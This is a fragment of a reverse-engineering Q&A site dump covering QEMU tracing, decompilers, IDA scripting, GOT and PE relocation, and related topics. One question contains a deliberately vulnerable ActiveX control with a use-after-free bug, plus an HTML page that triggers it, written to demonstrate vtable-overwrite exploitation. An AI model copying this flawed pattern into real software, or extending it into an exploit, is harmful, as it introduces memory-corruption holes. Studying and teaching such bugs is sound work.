  <row Id="4738" PostTypeId="1" AcceptedAnswerId="4779" CreationDate="2014-06-30T09:21:37.473" Score="14" ViewCount="4883" Body="&lt;p&gt;My original point was to build something a bit more powerful and generic than a &lt;code&gt;PTRACE&lt;/code&gt; system call for Linux platforms. The problem with &lt;code&gt;PTRACE&lt;/code&gt; is that it only run on your own system and architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An idea would be to run a virtual machine (or, better, an emulator) with a different operating system and a (possibly) different architecture on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While looking for the ideal candidates, I found the &lt;a href=&quot;http://en.wikibooks.org/wiki/QEMU/Monitor&quot;&gt;QEmu monitor interface&lt;/a&gt; and several projects using &lt;a href=&quot;http://wiki.qemu.org/Main_Page&quot;&gt;QEmu&lt;/a&gt; as OS/architecture emulator to collect traces:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.s3.eurecom.fr/tools/avatar/&quot;&gt;Avatar&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/decaf-platform/wiki/DECAF&quot;&gt;DECAF&lt;/a&gt; (successor of TEMU)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/moyix/panda&quot;&gt;PANDA&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://s2e.epfl.ch/&quot;&gt;S2E&lt;/a&gt; (seems to be a sub-component of Avatar?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitblaze.cs.berkeley.edu/temu.html&quot;&gt;TEMU&lt;/a&gt; (&lt;a href=&quot;http://bitblaze.cs.berkeley.edu/&quot;&gt;Bitblaze&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The features I want are similar to the &lt;code&gt;PTRACE&lt;/code&gt; interface (freeze execution, step by step runs, memory and registers read and write, ...) all with several OSes and several architectures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Did I forgot some similar projects in my list ?&lt;/li&gt;&#xA;&lt;li&gt;Can the QEmu monitor interface provide a system/architecture agnostic &lt;code&gt;PTRACE&lt;/code&gt; interface just as I want ? And, if not, what are the main issues I might run into while implementing it inside QEmu ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-06-30T11:23:45.713" LastActivityDate="2015-06-22T17:40:04.527" Title="Using QEmu monitor interface to extract execution traces from a binary?" Tags="|dynamic-analysis|qemu|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4739" PostTypeId="2" ParentId="3837" CreationDate="2014-06-30T14:15:26.363" Score="6" Body="&lt;p&gt;I created a free driver for my Brother printer, available at &lt;a href=&quot;https://github.com/pdewacht/brlaser&quot; rel=&quot;noreferrer&quot;&gt;github.com/pdewacht/brlaser&lt;/a&gt;. It's known to work with the Brother DCP-7030 and DCP-7065DN. If anybody tries it, I'd like to hear your feedback, it'd be useful to know which printers work with this driver and which printers don't.&lt;/p&gt;&#xA;" OwnerUserId="6960" LastEditorUserId="6960" LastEditDate="2014-06-30T16:21:03.290" LastActivityDate="2014-06-30T16:21:03.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4741" PostTypeId="2" ParentId="4734" CreationDate="2014-06-30T15:19:39.860" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.asmirvine.com/&quot; rel=&quot;nofollow&quot;&gt;Assembly Language for x86 Processors&lt;/a&gt; by Kip Irvine&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.agner.org/optimize/&quot; rel=&quot;nofollow&quot;&gt;Optimization manuals&lt;/a&gt; by Agner&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.microsoft.com/msj/0298/hood0298.aspx&quot; rel=&quot;nofollow&quot;&gt;Under the Hood article&lt;/a&gt; by Matt Pietrek  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://wiki.skullsecurity.org/Assembly_Summary&quot; rel=&quot;nofollow&quot;&gt;Skull Security Assembly Summary&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.duntemann.com/assembly.html&quot; rel=&quot;nofollow&quot;&gt;Assembly Language Step By Step for Linux&lt;/a&gt; by Jeff Duntemann&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://software.intel.com/en-us/articles/introduction-to-x64-assembly&quot; rel=&quot;nofollow&quot;&gt;Introduction to x64 Assembly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html?iid=tech_vt_tech%2064-32_manuals&quot; rel=&quot;nofollow&quot;&gt;Intel Manuals&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tutorialspoint.com/assembly_programming/&quot; rel=&quot;nofollow&quot;&gt;Tutorials Point&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1425" LastEditorUserId="1425" LastEditDate="2014-06-30T21:04:51.463" LastActivityDate="2014-06-30T21:04:51.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4742" PostTypeId="2" ParentId="4624" CreationDate="2014-06-30T16:10:24.633" Score="26" Body="&lt;p&gt;Besides Guntram's suggestions, check out the &lt;a href=&quot;https://retdec.com&quot; rel=&quot;noreferrer&quot;&gt;retargetable decompiler aka retdec&lt;/a&gt;. It can decompile the binary to Python or C code. At least for me, it reads easier than pure assembly (and it works for ARM binaries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works very well for sketching you the rough workings of the shared object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plugin for select IDA versions exists, but the main limitation is that it doesn't support 64-bit code.&lt;/p&gt;&#xA;" OwnerUserId="6962" LastEditorUserId="245" LastEditDate="2018-08-10T20:23:08.263" LastActivityDate="2018-08-10T20:23:08.263" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="4744" PostTypeId="1" AcceptedAnswerId="4745" CreationDate="2014-07-01T03:07:00.030" Score="2" ViewCount="12931" Body="&lt;p&gt;How &quot;legal&quot; is it to read and edit .exe files, .dll files, and other compiled source files? Decompilation is taking the compiled code of a program, often minified and obfuscated, and trying to get the original source code back as it was written, or at least get it in a form a person could read. There are various reasons a person or company would make its code harder to read while compiling it, but the 2 I've seen most often have to do with saving resources, like space, RAM, power, etc., and making it so the code is harder to read so the user can not see what it does as easily. As we are a community about questioning the practices of reverse engineering, I think it's safe to say most of us don't like the second reason. I am asking for facts here, though, not opinions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this question could get very broad, I will limit this to laws in particular countries and rules of various influential or popular companies, but info about generalities is also welcome. I am definitely not asking about morals/ethics, although I know those will certainly come up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was already &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/60/is-reverse-engineering-and-using-parts-of-a-closed-source-application-legal&quot;&gt;a question about the legality of reverse engineering in general&lt;/a&gt;, but I'm talking only about decompilation here. As the answers to this question stated, decompilation is one type of reverse engineering. As far as I could tell, the other question didn't get answers about decompilation specifically, though you are free to provide these yourself. One answer did say the question was too broad, but perhaps this question will have a better scope.&lt;/p&gt;&#xA;" OwnerUserId="6966" LastEditorUserId="6966" LastEditDate="2014-07-01T03:24:51.877" LastActivityDate="2014-07-01T05:43:51.477" Title="Legality of Decompilation" Tags="|decompilation|law|" AnswerCount="2" CommentCount="9" ClosedDate="2014-07-02T13:55:35.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="4745" PostTypeId="2" ParentId="4744" CreationDate="2014-07-01T04:28:50.377" Score="3" Body="&lt;p&gt;Legality of decompilation depends on the &lt;code&gt;EULA&lt;/code&gt; (End User License Agreement) of the binary you wish to work with. While Open Source License Agreements like &lt;code&gt;GPL&lt;/code&gt; may allow to edit/decompile the binary, other closed source proprietary agreements will prevent you in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said decompiling is always legal to somewhat a limited extend according to copyright laws of Europe and the US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information on this topic here&#xA;&lt;br&gt;&lt;a href=&quot;https://uk.answers.yahoo.com/question/index?qid=20111105222757AAGuJvd&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://uk.answers.yahoo.com/question/index?qid=20111105222757AAGuJvd&lt;/a&gt;&#xA;&lt;br&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Decompiler#Legality&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Decompiler#Legality&lt;/a&gt;&#xA;&lt;br&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/30359/is-decompiling-software-considered-unethical-or-illegal&quot;&gt;https://security.stackexchange.com/questions/30359/is-decompiling-software-considered-unethical-or-illegal&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:44.943" LastActivityDate="2014-07-01T04:28:50.377" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4746" PostTypeId="1" CreationDate="2014-07-01T05:36:07.877" Score="3" ViewCount="11124" Body="&lt;p&gt;I'm currently investigating an embedded system with a STM32F4-model. I'm able to enter in DFU mode and use the &lt;a href=&quot;http://dfu-util.gnumonks.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;dfu-util&lt;/code&gt;&lt;/a&gt;. I'd also like to use STM32's original Dfuse tools, just for completeness sake. Unfortunately the embedded device has a changed USB vendor and device, so the original STM drivers don't recognize the device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to work around that?&lt;/p&gt;&#xA;" OwnerUserId="2900" LastEditorUserId="53" LastEditDate="2014-07-01T08:04:58.687" LastActivityDate="2018-12-03T19:26:07.763" Title="STM32 DFU tools for Windows" Tags="|firmware|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4747" PostTypeId="2" ParentId="4744" CreationDate="2014-07-01T05:43:51.477" Score="3" Body="&lt;p&gt;In Australia, you need to have a valid license for the software and be reversing for &quot;compatibility&quot; purposes. Which is pretty wide and includes investigating a security issue. Obviously if the code is available from the vendor, you need to get hold of that source code instead of reversing.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2014-07-01T05:43:51.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4748" PostTypeId="1" AcceptedAnswerId="4749" CreationDate="2014-07-01T08:39:53.470" Score="3" ViewCount="1653" Body="&lt;p&gt;&lt;strong&gt;Use After Free&lt;/strong&gt; bugs a getting more severe these days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm planning to demonstrate Use After Free bug exploitation using &lt;strong&gt;VTable overwrite&lt;/strong&gt;. So, I'm trying to create a &lt;strong&gt;ATL ActiveX Control&lt;/strong&gt; which is vulnerable to Use After Free bug using &lt;strong&gt;Internet Explorer 9 or 10&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble to come up with a &lt;strong&gt;Use After Free vulnerable code&lt;/strong&gt; that works. Does anyone has experience with this kind of bug and can anyone try to help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying too. If I'm able to get it working, I'll share it here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class User&#xA;{&#xA;  public:&#xA;    virtual void SetUsername() { }&#xA;};&#xA;&#xA;class NewUser:public User&#xA;{&#xA;  char username[20];&#xA;  public:&#xA;    virtual void SetUserName(char* strUsername) { strcpy(username, strUsername); }&#xA;    virtual char* GetUserName() { return username; }&#xA;};&#xA;&#xA;STDMETHODIMP CATLActivexControl::CreateUser(BSTR sUserName, DOUBLE* retVal)&#xA;{&#xA;  USES_CONVERSION;&#xA;  char *tmp = W2A(sUserName);&#xA;  NewUser *nuser = new NewUser;&#xA;  nuser-&amp;gt;SetUserName(tmp);&#xA;&#xA;  free(nuser);&#xA;&#xA;  char *xyz = nuser-&amp;gt;GetUserNameW();&#xA;  return S_OK;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I worked on the above example and I have come up with a nicer solution which really triggers Use After Free.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C++ code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdafx.h&quot;&#xA;#include &quot;ATLStudentActiveXControl.h&quot;&#xA;&#xA;// Virtual Function defination&#xA;class User&#xA;{&#xA;public:&#xA;    virtual void Add(char* uName) = 0;&#xA;    virtual char* GetName() = 0;&#xA;};&#xA;&#xA;class Student : public User&#xA;{&#xA;private:&#xA;    char s_name[30];&#xA;&#xA;public:&#xA;    virtual void Add(char* uName) { strncpy(s_name, uName, sizeof(s_name)); }&#xA;    virtual char* GetName() { return s_name; }&#xA;&#xA;};&#xA;&#xA;Student *pStudent = new Student;&#xA;&#xA;STDMETHODIMP CATLStudentActiveXControl::Add(BSTR sName)&#xA;{&#xA;    USES_CONVERSION;&#xA;    char *tStudent = W2A(sName);&#xA;    pStudent-&amp;gt;Add(tStudent);&#xA;    return S_OK;&#xA;}&#xA;&#xA;STDMETHODIMP CATLStudentActiveXControl::Delete()&#xA;{&#xA;    free(pStudent);&#xA;    return S_OK;&#xA;}&#xA;&#xA;STDMETHODIMP CATLStudentActiveXControl::GetName(BSTR* sName)&#xA;{&#xA;    char *tStudent = pStudent-&amp;gt;GetName();&#xA;    *sName = A2WBSTR(tStudent);&#xA;    return S_OK;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;HTML&amp;gt;&#xA;&amp;lt;HEAD&amp;gt;&#xA;&amp;lt;TITLE&amp;gt;Use After Free - Test Page&amp;lt;/TITLE&amp;gt;&#xA;&amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;    function UAF() {&#xA;        alert('Start');&#xA;&#xA;        // Assign _studentActiveX variable to ATLStudentActiveXControl&#xA;        var _studentActiveX = document.getElementById(&quot;ATLStudentActiveXControl&quot;);&#xA;&#xA;        // Add a student&#xA;        _studentActiveX.Add(&quot;StudentName&quot;);&#xA;&#xA;        // Uncomment the below line to trigger Use After Free vulnerability&#xA;        // _studentActiveX.Delete();&#xA;&#xA;        // Get the name of the added student&#xA;        var _studentName = _studentActiveX.GetName();&#xA;        alert(_studentName);&#xA;&#xA;        // Delete the student&#xA;        _studentActiveX.Delete()&#xA;&#xA;        alert('Done');&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/HEAD&amp;gt;&#xA;&amp;lt;BODY&amp;gt;&#xA;&amp;lt;OBJECT ID=&quot;ATLStudentActiveXControl&quot; CLASSID=&quot;CLSID:9EACDFCF-1A2E-462E-9DF6-53E03936DB22&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;p&amp;gt;Demonstrating &amp;lt;b&amp;gt;Use After Free&amp;lt;/b&amp;gt; vulnerability.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;input type=&quot;button&quot; onclick=&quot;UAF();&quot; value=&quot;Use After Free&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/BODY&amp;gt;&#xA;&amp;lt;/HTML&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please share your views. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4671" LastEditorUserId="4671" LastEditDate="2014-07-04T05:02:11.527" LastActivityDate="2014-07-04T05:02:11.527" Title="Use After Free - Example" Tags="|debugging|exploit|vulnerability-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4749" PostTypeId="2" ParentId="4748" CreationDate="2014-07-01T10:43:27.533" Score="3" Body="&lt;p&gt;The first thing that comes to my mind is for you to create a class with a few virtual methods, which will be used as the test subject. Then from your ActiveX control you'd expose methods that manipulate the variable, say:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Method #1: Allocate the test object and keep the pointer in a static variable&lt;/li&gt;&#xA;&lt;li&gt;Method #2: Call the virtual methods provided by the test object&lt;/li&gt;&#xA;&lt;li&gt;Method #3: Free the test object instance, &lt;strong&gt;without setting the pointer to NULL&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Some means to allocate other things that would reuse the memory freed in the previous method&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then whip up a basic script exercising the given methods: allocate, call the methods to make sure it works as designed, free the instance, allocate something else, call virtual methods again and crash the IE instance. ;-) Should do the trick.&lt;/p&gt;&#xA;" OwnerUserId="6910" LastEditorUserId="6910" LastEditDate="2014-07-02T07:11:00.647" LastActivityDate="2014-07-02T07:11:00.647" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4750" PostTypeId="1" AcceptedAnswerId="4755" CreationDate="2014-07-01T16:52:52.690" Score="4" ViewCount="3143" Body="&lt;p&gt;The ordinary, manual way of redefining a &lt;code&gt;struct&lt;/code&gt; member to become a function pointer would be to press on it, hit '&lt;kbd&gt;Y&lt;/kbd&gt;', and enter the proper declaration in the popup box. For example, for &lt;code&gt;struct&lt;/code&gt; member &lt;code&gt;fncQuery&lt;/code&gt;, I would change the string to: &lt;code&gt;BOOL (__cdecl *fncQuery)(char *cmdID)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be helpful; When I next identify a call to this function pointer, I would mark the appropriate &lt;code&gt;call [reg+offset]&lt;/code&gt; line as this function pointer, and IDA will re-analyze and comment the parameters for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a thousand &lt;code&gt;struct&lt;/code&gt; each with at least one such function pointer member, and corresponding lists of the descriptions of these functions' parameters and return values. Understandably, I want to match them up by an IDAPython script rather than by hand. However, I can't find an equivalent for the '&lt;kbd&gt;Y&lt;/kbd&gt;' button for scripts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;AddStrucMember&lt;/code&gt; does not cut it as far as I know - I can declare a member to become a pointer to a &lt;code&gt;struct&lt;/code&gt; by giving it a &lt;code&gt;structID&lt;/code&gt;, but that's not what I need.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;SetMemberType&lt;/code&gt; is the same as the previous.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;SetType&lt;/code&gt; requires a linear address and a type string - which would be perfect except linear addresses are exclusive to the code section, so I can't touch structure member definitions with &lt;code&gt;SetType&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In my search I've found someone who conjured up dark magic, incorporating low level &lt;code&gt;idaapi&lt;/code&gt; into his IDAPython script, to detect if a &lt;code&gt;struct&lt;/code&gt; member has the same name as a known function, and if it does, &quot;&lt;em&gt;gets&lt;/em&gt;&quot; the type of that function and &quot;&lt;em&gt;sets&lt;/em&gt;&quot; it onto the member. Specifically, such horrible calls are seen (taken out of context of its definitions, you'll have to trust me when I say this runs properly and the first function call fills up its many outparameters with meaningful values):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_named_type = g_dll.get_named_type&#xA;get_named_type.argtypes = [&#xA;  ctypes.c_void_p, #const til_t *ti,&#xA;  ctypes.c_char_p, #const char *name,&#xA;  ctypes.c_int, #int ntf_flags,&#xA;  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const type_t **type=NULL,&#xA;  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const p_list **fields=NULL,&#xA;  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const char **cmt=NULL,&#xA;  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const p_list **fieldcmts=NULL,&#xA;  ctypes.POINTER(ctypes.c_ulong), #sclass_t *sclass=NULL,&#xA;  ctypes.POINTER(ctypes.c_ulong), #uint32 *value=NULL);&#xA;]&#xA;&#xA;get_named_type(&#xA;            til,&#xA;            funcname,&#xA;            idaapi.NTF_SYMM,&#xA;            ctypes.byref(typ_type),&#xA;            ctypes.byref(typ_fields),&#xA;            ctypes.byref(typ_cmt),&#xA;            ctypes.byref(typ_fieldcmts),&#xA;            ctypes.byref(typ_sclass),&#xA;            ctypes.byref(value)&#xA;type_arr = ctypes.create_string_buffer(0x400)&#xA;            type_arr[0] = chr(idaapi.BT_PTR)&#xA;            manualTypeCopy(type_arr, 1, len(type_arr), typ_type)&#xA;            ret = g_dll.set_member_tinfo(&#xA;                til,&#xA;                struc,&#xA;                memb,&#xA;                ctypes.c_uint(0),&#xA;                type_arr,&#xA;                typ_fields,&#xA;                ctypes.c_uint(0),&#xA;            )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The work behind the scenes on &quot;&lt;code&gt;get_named_type&lt;/code&gt;&quot; eludes me, and looking into its source (and fashioning something from it for my use) may be strong headed and premature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know of an easier way my need can be fulfilled ? I just need to define structure members as function pointers from an IDAPython script. Please help !&lt;/p&gt;&#xA;" OwnerUserId="6971" LastEditorUserId="53" LastEditDate="2014-07-01T17:57:28.623" LastActivityDate="2014-07-02T10:31:46.930" Title="Setting an IDA function pointer in a struct via script" Tags="|ida|idapython|struct|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4751" PostTypeId="1" AcceptedAnswerId="4754" CreationDate="2014-07-01T18:57:58.567" Score="2" ViewCount="715" Body="&lt;p&gt;Basically I am trying to re-use some asm code disassembled from a binary on x86 32bit Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am facing some trouble when references of GOT/GOT.PLT involved like these.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ....&#xA;  804c460:       53                      push   %ebx&#xA;  804c461:       e8 ec ff ff ff          call   804c452 &amp;lt;__i686.get_pc_thunk.bx&amp;gt;&#xA;  804c466:       81 c3 8e 2b 00 00       add    $0x2b8e,%ebx   // %ebx has the beginning address of GOT table&#xA;  804c46c:       83 ec 18                sub    $0x18,%esp&#xA;  ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I want to re-use these asm code, I have to &lt;strong&gt;lift concrete address into symbols&lt;/strong&gt;, and it seems that in the above code, I have to find a way to let &lt;code&gt;ebx&lt;/code&gt; store the begin address of &lt;code&gt;GOT&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well... then do I have to modify the linker...? Because the begin address of &lt;code&gt;GOT&lt;/code&gt; table can't be decided until link time..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is modifying linker a right way to do this ..? Is there any other way?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to modify the linker in this issue..? I basically have no experiences before.. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-07-02T10:16:11.673" Title="How to re-use some asm code when GOT/GOT.PLT references involved?" Tags="|disassembly|assembly|reassembly|dynamic-linking|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4752" PostTypeId="1" AcceptedAnswerId="4759" CreationDate="2014-07-02T05:56:23.083" Score="6" ViewCount="2508" Body="&lt;p&gt;Now working on binary analysis of PE and stuck on tricky (for me), ungoogleable question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I've binary, that needs to be patched. So after doing that will be awesome, if there is way to insert address of my function to relocation table. The following picture can illustrate thing I'm talking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bk5RQ.png&quot; alt=&quot;Relocated functions in binary&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as you can see, relocated functions marked pale, and my function is not in the relocation table. What should I patch to add my function into relocation table? Tried CFF Explorer with no luck. All the patches was made in hiew.&lt;/p&gt;&#xA;" OwnerUserId="4609" LastEditorUserId="4609" LastEditDate="2014-07-02T13:35:50.747" LastActivityDate="2015-05-12T23:28:17.813" Title="Relocation table patching" Tags="|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4753" PostTypeId="2" ParentId="4750" CreationDate="2014-07-02T07:13:20.287" Score="2" Body="&lt;p&gt;There is a better way to do it which does not involve setting particular type to structure member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a header file with corresponding structure definition and import it by calling &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idc.ParseTypes(filename, idc.PT_FILE | idc.PT_PAK1)&#xA;idc.Til2Idb(-1, strname)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition you can try to look to source code of Milan Bohacek's hexrays_tools plugin and try to export corresponding functions to your own python module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source of the plugin is available  &lt;a href=&quot;https://hex-rays.com/contests/2013/hexrays_tools.zip&quot; rel=&quot;nofollow&quot;&gt;here, link from hex-rays plugin contest page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanation of how to export Hexrays internal into python calls can be found in &lt;a href=&quot;http://www.hexblog.com/?p=126&quot; rel=&quot;nofollow&quot;&gt;hexrays blog&lt;/a&gt; but you should take specific care of GIL (see &lt;a href=&quot;http://www.hexblog.com/?p=788&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2014-07-02T07:21:11.663" LastActivityDate="2014-07-02T07:21:11.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4754" PostTypeId="2" ParentId="4751" CreationDate="2014-07-02T10:16:11.673" Score="3" Body="&lt;p&gt;If you're using GAS or a compatible assembler, you can use special modifiers to have it emit relocation info for GOT-based addressing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;code&gt;gcc -S&lt;/code&gt; output of a typical prolog of a function compiled with &lt;code&gt;-fPIC&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    __i686.get_pc_thunk.bx&#xA;addl    $_GLOBAL_OFFSET_TABLE_, %ebx&#xA;leal    .LC0@GOTOFF(%ebx), %eax&#xA;movl    %eax, (%esp)&#xA;call    puts@PLT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, you can replace the &lt;code&gt;%ebx&lt;/code&gt; addendum with &lt;code&gt;$_GLOBAL_OFFSET_TABLE_&lt;/code&gt;, and other GOT-relative offsets with &lt;code&gt;symbol@GOTOFF&lt;/code&gt;. In some cases you may also need &lt;code&gt;@GOTPLT&lt;/code&gt; or &lt;code&gt;@GOTPCREL&lt;/code&gt; modifiers. See &lt;a href=&quot;http://www.mindfruit.co.uk/2012/06/relocations-relocations.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for more info (mostly x64-specific, but still useful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your file is relocatable or a shared object, disassembling it with &lt;code&gt;-dr&lt;/code&gt; (so you see relocation info) can be useful to see places where you may need to add back the symbol modifiers.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-07-02T10:16:11.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4755" PostTypeId="2" ParentId="4750" CreationDate="2014-07-02T10:31:46.930" Score="3" Body="&lt;p&gt;The &lt;kbd&gt;Y&lt;/kbd&gt; key equivalent is indeed the &lt;code&gt;SetType&lt;/code&gt; (or, rather, &lt;code&gt;ApplyType&lt;/code&gt;) function, and it normally accepts addresses. However, you actually can pass the structure member ID as the &quot;address&quot; to set the member's type info.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-07-02T10:31:46.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
